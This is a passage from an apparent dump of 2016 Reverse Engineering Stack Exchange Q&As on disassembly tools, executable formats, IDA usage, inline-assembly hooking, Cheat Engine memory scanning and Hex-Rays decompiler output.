flag:</p>\n\n<ul>\n<li>0b000 End of line</li>\n<li>0b110 Continue in opaque mode</li>\n<li>0b100 Switch to skip mode</li>\n</ul>\n\n<p>The rest is the number of pixels <code>(v1 &gt;&gt; 3) + 1</code>.</p>\n\n<p><strong>Transparent mode</strong></p>\n\n<p>The transparent blocks are represented by sequence of pairs: [Alpha, Color]. The 5 MSB of the alpha byte is the transparency (0-32). The color byte references an RGB color in the palette.</p>\n\n<p>The two LSB of the control byte is a flag:</p>\n\n<ul>\n<li>0b10 End of the line</li>\n<li>0b11 Switch to opaque mode</li>\n<li>0b01 Switch to skip mode</li>\n<li>0b00 Continue in transparent mode</li>\n</ul>\n\n<p>The rest of the bits is the number of pixels <code>(v1 &gt;&gt; 2) + 1</code>, except for transparent mode, where it is <code>(v1 &gt;&gt; 3) + 1</code></p>\n\n<h2>Decoding process</h2>\n\n<p>Since the colors are referenced by index, two bytes are needed to represent a transparent pixel. By looking at the bottom-left part of the mountain, it was clear from those alternating patterns, that it has to be transparent there. The colors around the round icons were also not right, so I suspected that the outer pixels are half transparent as well.</p>\n\n<p>In the large image <code>0xFE</code> appears after each 32 bytes. It does not reference a color from the palette, so it has to be some kind of control byte.</p>\n\n<p>Then I started to write down the bytes in binary, where the color seemed not right. I grouped these values by where by where they appear, and then I spotted, that the least significant bits are similar on the boundary of transparent and opaque regions.</p>\n\n<p>After further analysis, when I was able to decode the smaller icons by hand, I implemented the algorithm, and tested it for larger ones. From there, it was easy to eliminate the remaining anomalies in the result.</p>\n"
    },
    {
        "Id": "13236",
        "CreationDate": "2016-08-08T17:48:02.293",
        "Body": "<p>I have a DOS executable which has been compiled with Watcom C/C++ 10.0.</p>\n\n<p>That EXE has debug symbols inside. I was wondering if there is any tool that allow to dump or extract that debug information (eg : to a text file) I'm looking to something like TDUMP for Borland C/C++ compiler.</p>\n",
        "Title": "How to extract debug information from a DOS executable compiled with Watcom C/C++?",
        "Tags": "|c|debugging-symbols|dos-exe|",
        "Answer": "<p>OpenWatcom includes the <code>wdump</code> utility which can dump the debug info (if it's present).</p>\n"
    },
    {
        "Id": "13239",
        "CreationDate": "2016-08-03T11:58:03.213",
        "Body": "<p>I want to be able to do what an ordinary disassembler does\u2014list the assembler instructions of an arbitrary executable\u2014but from C#. It would consist, for instance, of finding a specific instruction from its address and determining which memory address is accessed by it.</p>\n\n<p>Any Google search I tried leads me rather to the resources which explain how to decompile C# applications themselves in order to get IL bytecode. Except that I don't care about IL bytecode: what I want is to get the actual instructions of any app, including ones written in plain C or any other language.</p>\n\n<p>In other words, I want the same thing as in <a href=\"https://stackoverflow.com/a/840363/240613\"><em>How can I see the assembly code for a C++ program?</em></a> question, but to be able to do it programmatically instead of using a GUI tool.</p>\n\n<p>How do I do that?</p>\n",
        "Title": "How can I read the assembly instructions of a C program from C#?",
        "Tags": "|c#|assembly|disassemblers|",
        "Answer": "<p>here is a possible way and it is open source<br>\n<a href=\"https://github.com/9ee1/Capstone.NET\" rel=\"nofollow\">capstone.NET</a></p>\n\n<pre><code>:\\&gt;nuget list capstone*\nGee.External.Capstone 1.2.2    \n:\\&gt;cd Desktop    \n:\\&gt;md capnet    \n:\\&gt;cd capnet    \n:\\&gt;nuget install Gee.External.Capstone\nSuccessfully installed 'Gee.External.Capstone 1.2.2' to C:\\xxx\\capnet    \n:\\&gt;md testcap    \n:\\&gt;cd testcap    \n:\\&gt;copy ..\\Gee.External.Capstone.1.2.2\\content\\capstone.dll .\n        1 file(s) copied.    \n:\\&gt;copy ..\\Gee.External.Capstone.1.2.2\\lib\\net45\\Gee.External.Capstone.dll .\n        1 file(s) copied.    \n:\\&gt;cat capy.cs\nusing System;\nusing Gee.External.Capstone;\npublic class Dissy\n{\n    public static void Main()\n    {\n        var dis = CapstoneDisassembler.CreateX86Disassembler(DisassembleMode.Bit32);\n        var code = new byte[] {  0x8d, 0x4c, 0x32, 0x08, 0x01, 0xd8, 0x81 };\n        var res = dis.DisassembleAll(code);\n        foreach(var a in res) {\n            Console.WriteLine(\"{0}\\t{1}\",a.Mnemonic , a.Operand);\n        }\n    }\n}\n:\\&gt;csc /r:Gee.External.Capstone.dll capy.cs\nMicrosoft (R) Visual C# Compiler version 1.1.0.51109\nCopyright (C) Microsoft Corporation. All rights reserved.   \n\n:\\&gt;capy.exe\nlea     ecx, dword ptr [edx + esi + 8]\nadd     eax, ebx\n</code></pre>\n"
    },
    {
        "Id": "13253",
        "CreationDate": "2016-08-10T18:10:19.563",
        "Body": "<p>How do i reverse engineer every single aspect and functionality of a website so that i get an exact fully working copy of it?. All interactions including JavaScript, cascade style sheets, PHP to make a perfect clone of it?</p>\n",
        "Title": "Reverse engineering a whole website",
        "Tags": "|websites|",
        "Answer": "<p><em>You may be able to reverse engineer the Javascript, CSS, and HTML, but not PHP or ASP.</em> Using PHP as an example, if you have a command <code>echo \"foo\";</code>, the echo code gets executed on the server itself, and you see only the \"foo\" in the HTML you get. If you want to get PHP, you should test the functionality of the webpage, and hand-code the PHP accordingly.</p>\n\n<p>You do not need to reverse-engineer CSS. You can simply copy it from the HTML if it's inline, and <a href=\"http://curl.haxx.se\" rel=\"nofollow\">cURL</a> the CSS from the link element, or simply use Chrome's dev tools to find the location and source. </p>\n\n<p>To reverse-engineer Javascript, I heavily recommend using Chrome's developer tools. Features include a JS console, pretty printing (making obfuscated code way easier to read by spacing out), a timeline to see when different functions are called, a debugger with breakpoints, and a sources section to see the script's location.</p>\n"
    },
    {
        "Id": "13256",
        "CreationDate": "2016-08-11T07:14:48.540",
        "Body": "<p>Hopefully this question <strong>isn't get marked as Duplicate</strong>, since it differs from the following question:\n<a href=\"https://reverseengineering.stackexchange.com/questions/206/where-can-i-as-an-individual-get-malware-samples-to-analyze\">Where can I, as an individual, get malware samples to analyze?</a></p>\n\n<p>I'm looking for samples (ideally malware) which have already been disassembled. The only useful resource which I could found so far was a dataset provided on <a href=\"https://www.kaggle.com/c/malware-classification/\" rel=\"nofollow noreferrer\">kaggle</a>. However, the only note how the <code>ASM</code> files have been generated is:</p>\n\n<blockquote>\n  <p>This was generated using the IDA disassembler tool.</p>\n</blockquote>\n\n<p><strong>My problem:</strong>\nThere are no details about the specifice process of disassembling: I could not find any additional information if or how the disassembler considers special obfuscation mechanisms and if it could be ensured, that the files contain meaningful assembler instructions.</p>\n\n<p><strong>To recall the question:</strong> I'm looking for malware samples (windows) with the corresponding disassembly to download in bulk, which have been ideally counterchecked for meaningful instructions (e.g. constant code of the malware).</p>\n",
        "Title": "Malware samples to analyze with existing disassembly?",
        "Tags": "|disassembly|windows|malware|pe|",
        "Answer": "<p>The archive of disassembled and analysed malware does not exist - at least I haven't heard of any good ones. The closest I can think of is labs files from \"Practical Malware Analysis\", at <a href=\"https://practicalmalwareanalysis.com/labs/\" rel=\"nofollow\">https://practicalmalwareanalysis.com/labs/</a>. Each of the files is described and analysed in the \"Answers\" section of the book, including IIRC obfuscated samples, but actual disassembling is left as an exercise for the reader :)</p>\n\n<p>Another way to achieve your goal is to look for summary articles on topics that interest you, such as <a href=\"https://www.virusbulletin.com/virusbulletin/2014/07/obfuscation-android-malware-and-how-fight-back\" rel=\"nofollow\">https://www.virusbulletin.com/virusbulletin/2014/07/obfuscation-android-malware-and-how-fight-back</a> (Android in this case), take hashes listed in them and download (bulk or not, up to you) samples from VirusTotal.</p>\n\n<p>A rather dated Windows malware analysis set of tutorials with emphasis on reversing - <a href=\"https://fumalwareanalysis.blogspot.com.au/p/malware-analysis-tutorials-reverse.html\" rel=\"nofollow\">https://fumalwareanalysis.blogspot.com.au/p/malware-analysis-tutorials-reverse.html</a></p>\n"
    },
    {
        "Id": "13261",
        "CreationDate": "2016-08-11T14:17:50.960",
        "Body": "<p>I am currently learning how to hook some functions, and I simply want to insert this simple inline assembly:</p>\n\n<pre><code>__asm {\n    CMP [ebp + 8], 1\n    JNZ short 01311723\n    jmp [jmpBackAddy]\n}\n</code></pre>\n\n<p>But Visual Studio gives me that error:</p>\n\n<blockquote>\n  <p>Severity  Code    Description Project File    Line    Suppression State\n  Error   C2400   inline assembler syntax error in 'first operand'; found 'constant'</p>\n</blockquote>\n\n<p>What am I doing wrong? I though I can copy out the assembly of OllyDbg but Visual Studio does not accept it</p>\n",
        "Title": "Inline assembly does not compile",
        "Tags": "|assembly|c++|function-hooking|",
        "Answer": "<p>Yes <code>01311723</code> is a constant and compiler will not know what it is   </p>\n\n<p>Neither would compiler know what <code>jmpBackAddy</code> is </p>\n\n<p>for constant you need to replace it with a label and define the label \nfor a label you need to define it in the asm src code </p>\n\n<pre><code>#include &lt;windows.h&gt;\n#pragma comment(lib ,\"user32.lib\")\n#pragma comment(lib ,\"kernel32.lib\")\nint CALLBACK WinMain( _In_ HINSTANCE,  _In_opt_ HINSTANCE, _In_ LPSTR, _In_ int)\n{\n    MessageBoxA(NULL,\"Hello World\",\"Hello World\",MB_OK);\n    jmpBackAddy:   &lt;&lt;&lt; defined here  \n    __asm\n    {\n        CMP [ebp + 8], 1\n        JNZ short label\n        jmp [jmpBackAddy]\n    }    \nlabel:  &lt; defined here \n    MessageBoxA(NULL,\"Hello jnz\",\"how are you jnz\",MB_OK);\n    ExitProcess(0);        \n}\n</code></pre>\n\n<p>compiled and linked with</p>\n\n<pre><code>cl /nologo /Zi /EHsc /O1 /analyze /W4 *.cpp /link /release /entry:WinMain\n\nMsgbox.cpp\ne:\\test\\msgbox\\msgbox.cpp(5) : warning C4740: flow in or out of inline asm code suppresses global optimization\n</code></pre>\n\n<p>and disassembled</p>\n\n<pre><code>Msgbox!WinMain:\n00021000 55              push    ebp\n00021001 8bec            mov     ebp,esp\n00021003 6a00            push    0\n00021005 6810200200      push    offset Msgbox!`string' (00022010)\n0002100a 6810200200      push    offset Msgbox!`string' (00022010)\n0002100f 6a00            push    0\n00021011 ff1508200200    call    dword ptr [Msgbox!_imp__MessageBoxA (00022008)]\n\nMsgbox!WinMain+0x17:\n00021017 807d0801        cmp     byte ptr [ebp+8],1\n0002101b 7502            jne     Msgbox!WinMain+0x1f (0002101f)\n\nMsgbox!WinMain+0x1d:\n0002101d ebf8            jmp     Msgbox!WinMain+0x17 (00021017)\n\nMsgbox!WinMain+0x1f:\n0002101f 6a00            push    0\n00021021 681c200200      push    offset Msgbox!`string' (0002201c)\n00021026 682c200200      push    offset Msgbox!`string' (0002202c)\n0002102b 6a00            push    0\n0002102d ff1508200200    call    dword ptr [Msgbox!_imp__MessageBoxA (00022008)]\n00021033 6a00            push    0\n00021035 ff1500200200    call    dword ptr [Msgbox!_imp__ExitProcess (00022000)]\n0002103b 5d              pop     ebp\n0002103c c21000          ret     10h\n</code></pre>\n"
    },
    {
        "Id": "13277",
        "CreationDate": "2016-08-13T18:04:08.100",
        "Body": "<p>The command bar at the bottom of the output window in IDA defaults to python. I would greatly prefer it to default to IDC, is there a way to change this default? I found one reference to <code>RunPlugin(\"python\",4)</code> <a href=\"https://github.com/idapython/src#usage\" rel=\"nofollow noreferrer\">in the idapython github repo</a>, but it's not clear where it should be used. Adding the following line to plugins.cfg also has no effect.</p>\n\n<pre><code>;plugin_name                     filename    hotkey  arg  flags\n;------------------------------- ----------  ------  ---  --------\npython                           python       0       3\n</code></pre>\n",
        "Title": "IDA command bar default language",
        "Tags": "|ida|idapython|",
        "Answer": "<p>After setting the CLI language to IDC by clicking on the button to the left of the CLI, right click in the CLI input area and click the option marked <code>Default CLI</code></p>\n\n<p><a href=\"https://i.stack.imgur.com/SHkhl.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/SHkhl.png\" alt=\"enter image description here\"></a></p>\n\n<p><a href=\"https://i.stack.imgur.com/gwyzr.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/gwyzr.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "13286",
        "CreationDate": "2016-08-14T20:07:24.437",
        "Body": "<p>I have an IDAPython script x.py which takes some arguments, which prevents me from simply using <kbd>alt</kbd> + <kbd>F7</kbd> and selecting my script.</p>\n\n<p>How can I execute this script within IDA Pro and specify the arguments for the script?</p>\n",
        "Title": "Executing an IDAPython script with arguments within IDA Pro",
        "Tags": "|ida|idapython|ida-plugin|",
        "Answer": "<p>Naturally, the best way would be editing the script and have it ask the user for those parameters. IDA has quite a few ways of doing that. You could use one or several of the many <code>idc.Ask*</code> functions. Such as: <code>AskYN</code>, <code>AskLong</code>, <code>AskSelector</code>, <code>AskFunction</code>, <code>AskFile</code> and others. Sometimes when multiple input parameters are needd, it becomes inconvenient to ask for many speciif values, you could then create a full blown dialog instead.</p>\n\n<p>You could create a new process using <code>popen</code> or something similar, but I can't say I recommend doing that.</p>\n\n<p>If depends on how the python script you're trying to execute is implemented, but you're probably better off trying to include/import it in one pythonic way or another.</p>\n\n<h2>Importing a protected module</h2>\n\n<p>If the script is properly written, it probably wraps any execution functionality with an <code>if __name__ == \"__main__\"</code> clause, protecting such cases as executing when imported. If that's the case, simply import it with an <code>import modulename</code> and then call its main/whatever.</p>\n\n<h2>Importing a <code>sys.argv</code> module</h2>\n\n<p>If the module directly uses <code>sys.argv</code> and you cannot/would not prevent it from doing so, you can mock your <code>sys.argv</code> before importing the module. Simply doing something like the following should work:</p>\n\n<p><code>sys.argv = ['./script.py', 'command', 'parameter1', 'parameter2', 'optional']\nimport script\n</code></p>\n\n<h2>Calling <code>execfile</code> of the file</h2>\n\n<p>If neither of those approaches works for you, you can always directly call <code>execfile</code> and completely control the context in which the python script is executed. You should read the documentation of <code>execfile</code> and <code>eval</code> <a href=\"https://docs.python.org/2/library/functions.html#execfile\" rel=\"nofollow\">here</a> and <a href=\"https://docs.python.org/2/library/functions.html#eval\" rel=\"nofollow\">here</a>, respectively.</p>\n"
    },
    {
        "Id": "13300",
        "CreationDate": "2016-08-18T00:36:05.590",
        "Body": "<p>I was wondering if it was possible to change the value of a register when an instruction gets executed. For example</p>\n\n<pre><code>0x10 call eax\n</code></pre>\n\n<p>Say <code>eax</code> contains <code>0x20</code> at that point, I want to add <code>0x10</code> to it so that the address that gets called is now <code>0x30</code>.</p>\n\n<p>What I tried doing was set a <code>AddVectoredExceptionHandler</code> and put an <code>INT3</code> on <code>0x10</code>. When my exception handler gets called, I restore the original byte at <code>0x10</code>. Then I add <code>0x10</code> to <code>eax</code> and jump to <code>ExceptionInfo-&gt;ContextRecord-&gt;Eip</code>. This obviously doesn't work well because I never return to the OS.</p>\n\n<p>Is there another way or is this even possible?</p>\n",
        "Title": "Is it possible to change the value of a register when a certain instruction is executed?",
        "Tags": "|windows|x86|exception|",
        "Answer": "<p>Alright, so apparently you can just edit <code>ExceptionInfo-&gt;ContextRecord-&gt;Eax</code> inside your </p>\n\n<p><code>LONG CALLBACK VectoredHandler(\n  _In_ PEXCEPTION_POINTERS ExceptionInfo\n);</code> </p>\n\n<p>function and the OS will set the eax to that value when it returns the execution back to where the exception was(If you return EXCEPTION_CONTINUE_EXECUTION.)</p>\n"
    },
    {
        "Id": "13302",
        "CreationDate": "2016-08-18T08:37:11.987",
        "Body": "<p>I have a few dusty old VAX VMS executable files I want to tease apart. I just can't seem to find a decent description of the file format. The best I've got is the \"VAX/VMS internals Student Workbook\", but I'd like something more authoritative.</p>\n",
        "Title": "Is a machine-readable VMS executable file format description available?",
        "Tags": "|vax|vms|",
        "Answer": "<p>I found some definitions in <a href=\"http://fossies.org/linux/privat/old/freevms-0_3_15.tgz/\" rel=\"nofollow\"><code>freevms-0_3_15.gz</code></a>, in particular <code>ihddef.h</code> for the header and <code>isddef.h</code> for the sections. There is also some code which uses those structs to parse the executables:</p>\n\n<pre><code>  struct _isd * section=(unsigned long)buffer+ehdr32-&gt;ihd$w_size;\n\n  long symtab=0, symtabsize=0, symtabvbn=0, symstr=0, symstrsize=0, symstrvbn=0;\n\n  while (section&lt;(buffer+512*ehdr32-&gt;ihd$b_hdrblkcnt)) {\n    if (section-&gt;isd$w_size==0)\n      break;\n    if (section-&gt;isd$w_size==0xffffffff) {\n      int no=((unsigned long)section-(unsigned long)buffer)&gt;&gt;9;\n      section=buffer+512*(no+1);\n      continue;\n    }\n    if (debug-&gt;ihs$l_dstvbn==section-&gt;isd$l_vbn) {\n      symtab=section-&gt;isd$v_vpn&lt;&lt;12;\n      symtabvbn=debug-&gt;ihs$l_dstvbn;\n      symtabsize=section-&gt;isd$w_pagcnt;\n    }\n\n    if (debug-&gt;ihs$l_dmtvbn==section-&gt;isd$l_vbn) {\n      symstr=section-&gt;isd$v_vpn&lt;&lt;12;\n      symstrvbn=debug-&gt;ihs$l_dmtvbn;\n      symstrsize=section-&gt;isd$w_pagcnt;\n    }\n\n    section=(unsigned long)section+section-&gt;isd$w_size;\n  }\n</code></pre>\n"
    },
    {
        "Id": "13308",
        "CreationDate": "2016-08-18T17:45:14.143",
        "Body": "<p>I'm working on a reverse engineering project with fat executables on OS X. So far I have established the structure of the <code>fat_header</code>, <code>fat_arch</code> and <code>macho_header</code>, but am having trouble finding documentation about the ordering of the <code>fat_arch</code> sections. Right now my project works by assuming that <code>fat_arch</code> sections appear in order of ascending offset fields. Is this assumption correct, or can the <code>fat_arch</code> sections appear in any order?</p>\n",
        "Title": "Order of architecture headers in fat (universal) executables",
        "Tags": "|binary-analysis|executable|osx|binary-format|mach-o|",
        "Answer": "<p>There is no reliable resource which gives an answer to the concrete question if a order exists or not. The question is why would you expect a fixed order of <code>fat_arch</code> sections?</p>\n\n<p>The kernel simply loads the Universal Binary at execution time, parses the <code>fat_arch</code> structure(s) and selects a matching architecture type. So in my understanding there is no need for a fixed (or expectable) order of the <code>fat_arch</code> sections.</p>\n"
    },
    {
        "Id": "13309",
        "CreationDate": "2016-08-18T19:47:44.800",
        "Body": "<p>Right now I'm trying to solve r5 from <a href=\"https://github.com/wapiflapi/exrs\" rel=\"nofollow\">here</a></p>\n\n<p>I've already tried to understand pseudo-code from Hooper</p>\n\n<pre><code>function check_password {\n    var_28 = arg0;\n    if (strlen(var_28) != strlen(\"this_is_not_even_interesting_its_garbage\")) {\n            rax = 0xffffffff;\n    }\n    else {\n            strcpy(\"this_is_not_even_interesting_its_garbage\", var_28);\n            var_18 = 0x1;\n            while (var_18 != 0x0) {\n                    var_18 = 0x0;\n                    for (var_14 = 0x0; var_14 &lt;= 0x27; var_14 = var_14 + 0x1) {\n                            if ((*(int8_t *)(sign_extend_32(var_14) + 0x6010a0) &amp; 0xff) != 0x0) {\n                                    rax = random();\n                                    rcx = *(int8_t *)(sign_extend_64(var_14) + 0x6010a0) &amp; 0xff &amp; 0xff;\n                                    temp_3 = rax % rcx;\n                                    *(int8_t *)(sign_extend_32(var_14) + 0x6010a0) = (*(int8_t *)(sign_extend_32(var_14) + 0x6010a0) &amp; 0xff) - temp_3 + 0x1;\n                                    var_18 = var_18 | *(int8_t *)(sign_extend_32(var_14) + 0x6010a0) &amp; 0xff &amp; 0xff;\n                                    *(int8_t *)(sign_extend_32(var_14) + \"this_is_not_even_interesting_its_garbage\") = (*(int8_t *)(sign_extend_32(var_14) + \"this_is_not_even_interesting_its_garbage\") &amp; 0xff) - temp_3 + 0x1;\n                            }\n                    }\n            }\n            rax = *master;\n            rax = strcmp(rax, \"this_is_not_even_interesting_its_garbage\");\n    }\n    return rax;\n}\n</code></pre>\n\n<p>but it's too complicated for me right now. So I know that the password length should be 40 but how does the other part of the code work?</p>\n\n<p>The unclear parts are the <code>unt8_t</code> casts. I've used gdb to step through the code, and I saw the results of certain instructions but cannot understand why these are the results ?</p>\n",
        "Title": "Wapiflapi reverse engeneering exercices",
        "Tags": "|decompilation|hopper|",
        "Answer": "<p>Although OP clarified only the inner <code>for</code> is unreadable to him, I'll write an answer that thoroughly explains the first few lines and then abruptly stops at the most crucial part of the inner for loop. While believing examples are a great way to learn, I do that to make this as educational as possible, without interfering with the learning process of independently solving exercises. I am also unfamiliar with the specific set of exercises and would like to avoid providing full answers where those were not intended by the creator.</p>\n\n<p>I hope i hit that sweet spot of being educational enough yet not too much.</p>\n\n<p>Good luck with the exercise, here goes:</p>\n\n<p><code>var_18 = 0x1;</code></p>\n\n<p>Set an internal state to 1.</p>\n\n<p><code>while (var_18 != 0x0) {</code></p>\n\n<p>While state is <code>True</code>, continue executing loop's content. The state is actually a boolean indicating processing is not finished yet.</p>\n\n<p><code>var_18 = 0x0;</code></p>\n\n<p>Set internal state to zero at every outer loop iteration. This means every iteration must set the \"not finished yet\" flag.</p>\n\n<p><code>for (var_14 = 0x0; var_14 &lt;= 0x27; var_14 = var_14 + 0x1) {</code></p>\n\n<p>Inner for iterates 0x28 times, 40 in decimal. Since we know this is the length of the entire string, we can assume the inner loop somehow iterates over all characters of the string. This might be a coincidence, but we should keep an eye for it.</p>\n\n<p><code>if ((*(int8_t *)(sign_extend_32(var_14) + 0x6010a0) &amp; 0xff) != 0x0) {</code></p>\n\n<p>Now here it gets a little bit more complicated, so we'll split it to several parts:</p>\n\n<p><code>sign_extend_32(var_14)</code></p>\n\n<p>Since we know var_14 is a non negative integer between 0 and 39 (including), there's no meaning to sign-extending it. Sign-extending is basically the operation of converting a shorter length value to longer, taking the sign bit into account. See <a href=\"https://en.wikipedia.org/wiki/Sign_extension\" rel=\"nofollow\">this</a> for more info about sign-extension. This is either a compiler or decompiler artifact. A more advanced decompiler might have removed this.</p>\n\n<p><code>(int8_t *)(sign_extend_32(var_14) + 0x6010a0)</code></p>\n\n<p>Add our <code>var_14</code> to a relatively long hex offset. By the looks of it, it's probably an offset to table of 40 bytes. This is learnt from experience, taking a look at value at that address might clear it up. Adding <code>var_14</code> and then casting to an int8 pointer further suggests that's the case, using <code>var_14</code> as the index in that table.</p>\n\n<p><code>(*(int8_t *)(sign_extend_32(var_14) + 0x6010a0) &amp; 0xff)</code></p>\n\n<p>If we weren't convinced yet, by now it's pretty clear as we read a byte from the resulting offset. AND-ing it with 0xff is yet another decompiler artifact, caused by how a compiler will read a byte in 64bit intel processors.</p>\n\n<p><code>if ((*(int8_t *)(sign_extend_32(var_14) + 0x6010a0) &amp; 0xff) != 0x0) {</code></p>\n\n<p>back to the full line, this is reading the byte from the table, and skipping the current iteraction of the inner loop.</p>\n\n<p><code>rax = random();</code></p>\n\n<p>Simple. Set a random value into <code>rax</code>.</p>\n\n<p><code>rcx = *(int8_t *)(sign_extend_64(var_14) + 0x6010a0) &amp; 0xff &amp; 0xff;</code></p>\n\n<p>This is actually quite identical to the condition from before, only now the value of that index in the table is stored into <code>rcx</code>.</p>\n\n<h2>remaining lines of code</h2>\n\n<pre><code>                                temp_3 = rax % rcx;\n                                *(int8_t *)(sign_extend_32(var_14) + 0x6010a0) = (*(int8_t *)(sign_extend_32(var_14) + 0x6010a0) &amp; 0xff) - temp_3 + 0x1;\n                                var_18 = var_18 | *(int8_t *)(sign_extend_32(var_14) + 0x6010a0) &amp; 0xff &amp; 0xff;\n                                *(int8_t *)(sign_extend_32(var_14) + \"this_is_not_even_interesting_its_garbage\") = (*(int8_t *)(sign_extend_32(var_14) + \"this_is_not_even_interesting_its_garbage\") &amp; 0xff) - temp_3 + 0x1;\n                        }\n                }\n        }\n        rax = *master;\n        rax = strcmp(rax, \"this_is_not_even_interesting_its_garbage\");\n}\nreturn rax;\n</code></pre>\n"
    },
    {
        "Id": "13311",
        "CreationDate": "2016-08-18T22:58:33.783",
        "Body": "<p>I'm an absolute beginner (just started learning about process memory a few hours ago).</p>\n\n<p>I'm trying to find the memory address for the color of <a href=\"https://i.stack.imgur.com/jUbmL.png\" rel=\"nofollow noreferrer\">Color 1</a> in mspaint using <a href=\"http://x64dbg.com/\" rel=\"nofollow noreferrer\">x64dbg</a>.</p>\n\n<p>I know it's black, so I've tried searching for <strong>000000</strong>, <strong>0, 0, 0</strong>, <strong>Color 1</strong>, and <strong>Black</strong> in each of the boxes. (ASCII, UNICODE, Hex)</p>\n\n<p>I've gotten nowhere with that. Like I said, I'm a beginner, so this is all extremely foreign to me.</p>\n\n<p>I'd really appreciate some help with learning how to find a color's memory address, so I can <em>then</em> change the color and stuff.</p>\n",
        "Title": "How would I find a color's memory address? (Beginner)",
        "Tags": "|windows|debugging|x86-64|",
        "Answer": "<p>Alright, so you're trying to find the Red, Green, and Blue values of the currently selected color. I'll show you how to do this using Cheat Engine, but you can also translate this to x64dbg.</p>\n\n<p>Fire up Paint and select <code>mspaint.exe</code> in CE(Cheat Engine) to debug it.</p>\n\n<p>Set the color to black or any other color you'd like, I will use black as my initial starting color. See what RGB values the color black has in Paint, in our case it's 0 0 0.</p>\n\n<blockquote>\n  <p>1<a href=\"https://i.stack.imgur.com/xYPJm.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/xYPJm.png\" alt=\"enter image description here\"></a></p>\n</blockquote>\n\n<p>Here I will make a few assumptions. I will assume that the Red, Green and Blue values are each 1 byte in size because they can only go up to 255 which is the limit that a 1 byte value can hold. I also assume that these values are at the same address, one after the other. Equivalent to</p>\n\n<pre><code>struct color {\n    char r, g, b;\n}\n</code></pre>\n\n<p>To sum it up, we want to find 3 contiguous byte values somewhere in memory. We know their values from Paint, so we can search for them.</p>\n\n<p>So, now we can switch over to CE and select <code>Grouped</code> scan so we can search for grouped values. In our case we have a group of 3 values, each being 1 byte. So, this is how CE should now look like.</p>\n\n<blockquote>\n  <p>1<a href=\"https://i.stack.imgur.com/4Fc84.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/4Fc84.png\" alt=\"enter image description here\"></a></p>\n</blockquote>\n\n<p>Then I simply press on <code>First Scan</code> and CE will find any memory in the paint.exe address space where there are 3 bytes with 0 in them, equivalent to</p>\n\n<pre><code>someAddress   0x00\nsomeAddress+1 0x00\nsomeAddress+2 0x00\n</code></pre>\n\n<p>CE will find a lot of addresses where this byte pattern occurs because three zero bytes isn't very unique.</p>\n\n<p>What I will do now is select another color in Paint and follow the same process, except at the end I'll press <code>Next Scan</code> instead of <code>First Scan</code>. What this will do is CE will look at all of the addresses it found with three zeroes, and it will look if any of them changed to your new grouped values. One of those addresses will now hold the three new grouped values, and CE will find it for you and you'll only be left with <em>hopefully</em> one address left. If you're left more than a few, you can repeat the process with a new color.</p>\n\n<p>If the address is color in Green, it means that it is static and will not change when you restart paint. Once you have the address of where the RGB is stored, and you can change it or read it or do whatever you want with it.</p>\n"
    },
    {
        "Id": "13312",
        "CreationDate": "2016-08-18T23:59:38.833",
        "Body": "<p>Hex-Rays generated C code is adding a lot of redundancy code, and I cannot figure out why and it really frustrates me to remove them manually on my reverse engineering process.</p>\n\n<pre><code>if ( v1 )\n{\n    v15.ObjectID = *(_DWORD *)Obj.ObjectID;\n    v6 = AccessObject((Object)&amp;v15);\n    ObjectType::setTypeID(&amp;v16, v6-&gt;Type.TypeID);\n    v7 = ObjectType::getFlag(&amp;v16, BANK);\n    v4 = 0;\n    if ( !v7 )\n    {\n      v16.TypeID = *(_DWORD *)Obj.ObjectID;\n      v8 = AccessObject((Object)&amp;v16);\n      ObjectType::setTypeID((ObjectType *const )&amp;v15, v8-&gt;Type.TypeID);\n      v9 = ObjectType::getFlag((ObjectType *const )&amp;v15, CLIP);\n      v4 = 1;\n      if ( !v9 )\n      {\n        v16.TypeID = *(_DWORD *)Obj.ObjectID;\n        v10 = AccessObject((Object)&amp;v16);\n        ObjectType::setTypeID((ObjectType *const )&amp;v15, v10-&gt;Type.TypeID);\n        v11 = ObjectType::getFlag((ObjectType *const )&amp;v15, BOTTOM);\n        v4 = 2;\n        if ( !v11 )\n        {\n          v16.TypeID = *(_DWORD *)Obj.ObjectID;\n          v12 = AccessObject((Object)&amp;v16);\n          ObjectType::setTypeID((ObjectType *const )&amp;v15, v12-&gt;Type.TypeID);\n          v13 = ObjectType::getFlag((ObjectType *const )&amp;v15, TOP);\n          v4 = 3;\n          if ( !v13 )\n          {\n            v16.TypeID = *(_DWORD *)Obj.ObjectID;\n            v14 = AccessObject((Object)&amp;v16);\n            ObjectType::setTypeID((ObjectType *const )&amp;v15, v14-&gt;Type.TypeID);\n            v4 = (v15.ObjectID != 99) + 4;\n          }\n        }\n      }\n    }\n  }\n  else\n  {\n    error(\"GetObjectPriority: _bergebenes Objekt existiert nicht.\\n\");\n    v4 = 0x7FFFFFFF;\n  }\n</code></pre>\n\n<p>There's continous assigns to the v15 stack variable, which are making absolutely non-sense, I doubt the actual programmers of this binary had this intent.</p>\n\n<p>I could have easily done it this way:</p>\n\n<pre><code>int32_t Priority = 0;\nif (Object)\n{\n    if (!Object-&gt;getFlag(BANK))\n    {\n        Priority = 1;\n        if (!Object-&gt;getFlag(CLIP))\n        {\n            Priority = 2;\n            if (!Object-&gt;getFlag(BOTTOM))\n            {\n                Priority = 3;\n                if (!Object-&gt;getFlag(TOP))\n                {\n                    Priority = (Object-&gt;TypeID != 99) + 4;\n                }\n            }\n        }\n    }\n}\nelse\n{\n    std::cout &lt;&lt; \"GetObjectPriority: Object is NULL.\" &lt;&lt; std::endl;\n    Priority = -1;\n}\n\nreturn Priority;\n</code></pre>\n\n<p>How can I mess with IDA to stop this madness?</p>\n",
        "Title": "IDA Hex-Rays Generating Redundant Code",
        "Tags": "|ida|decompilation|static-analysis|decompiler|",
        "Answer": "<p>Writing a good decompiler is hard. There are multiple challenges in the process.\nWriting a decompiler that has no redundant code in its output is even harder.\nMost decompilers still ouput high level code that resembles the assembly code it originated from, and that's what you see as redudant assignments.</p>\n\n<p>There isn't really something you can do about it easily. You could try contacting IDA's support to get them to improve the decompiler. You could write an IDAPython script the implements the extra code simplifications. Or you could continue doing that manually.</p>\n"
    },
    {
        "Id": "13314",
        "CreationDate": "2016-08-19T04:16:59.980",
